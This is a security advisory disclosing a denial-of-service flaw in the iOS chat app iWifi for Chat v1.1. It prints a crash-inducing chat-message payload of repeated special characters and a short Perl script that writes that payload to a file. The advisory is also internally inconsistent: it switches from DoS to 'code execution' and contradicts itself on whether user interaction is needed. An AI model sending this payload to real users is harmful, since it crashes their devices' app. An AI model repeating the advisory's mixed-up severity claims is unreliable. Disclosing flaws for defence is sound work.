iWifi for Chat v1.1 iOS - Denial of Service Vulnerability

Document Title:
===============
iWifi for Chat v1.1 iOS - Denial of Service Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1375


Release Date:
=============
2014-12-16


Vulnerability Laboratory ID (VL-ID):
====================================
1376


Common Vulnerability Scoring System:
==============================
======
4.6


Product & Service Introduction:
===============================
iWifi for Chat lets you easily chat with your friends over Wifi in a fast and reliable way.
The app is part of a bundle and is made by the seller ios developer.

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/iwifi-for-chat/id512703175 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered a remote denial of service vulnerability in the iWifi for Chat v1.1 iOS web-application.


Vulnerability Disclosure Timeline:
==================================
2014-12-16:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
iOS Developer
Product: iWifi for Chat - iOS Web Application 1.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A remote denial of service vulnerbaility has been discovered in the official iWifi for Chat v1.1 iOS web-application.
The vulnerbaility allows remote attackers to shutdown the service application by sending a special crafted chat message.

The vulnerability is located in the application message input context. Remote attackers are able to inject special chars
to provoke an error that results in a app shutdown. The bug can be exploited by processing to send special crafted symbole
messages through the context message input box. The vulnerability allows an attacker to crash the connected remote ios client.

The security risk of the denial of service vulnerability is estimated as medium with a cvss (common vulnerability scoring
system) count of 4.6. Exploitation of the DoS vulnerability requires no privileged application user account but a connected
chat user for interaction. Successful exploitation of the code execution vulnerability results in mobile application compromise
and affected or connected device component compromise.

Vulnerable Module(s):
                                [+] Chat Message Input Box

Vulnerable Parameter(s):
                                [+] message context

Affected Module(s):
                                [+] iWifi for Chat v1.1


Proof of Concept (PoC):
=======================
The Vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reporduce the vulnerability follow the provided information and steps below to continue.


PoC: 1024 bytes - message context payload

็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็็็็็็็็็-็็็็็็็ ็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็ ¬็็็็ส็็็็็็็็็็็็็¬็็็็ ็็็็็็็็¬ส็็็็็็็็็็็็็็็็-็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็ ¬็็็็็็ส็็็็็็็¬ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็¬¬็็็็็็็็็็็็็็
็็็็็็็็ส็็็็็็¬็ ็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็็็็็็็็็-็็็็็็็ ็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็ ¬็็็็ส็็็็็็็็็็็็็¬็็็็ ็็็็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็


PoC: Exploit

#!/usr/local/bin/perl
 open (MYFILE, '>>exploitcode.txt');
 print MYFILE "็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็็็็็็็็็-็็็็็็็ ็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็ ¬็็็็ส็็็็็็็็็็็็็¬็็็็ ็็็็็็็็¬ส็็็็็็็็็็็็็็็็-็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็ ¬็็็็็็ส็็็็็็็¬ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็¬¬
็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็¬็ ็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็็็็็็็็็-็็็็็็็ ็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็ ¬็็็็ส็็็็็็็็็็็็็¬็็็็ ็็็็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็\n";
 close (MYFILE);


Security Risk:
==============
The security risk of the of the denial of service web vulnerability is estimated as medium. (CVSS 4.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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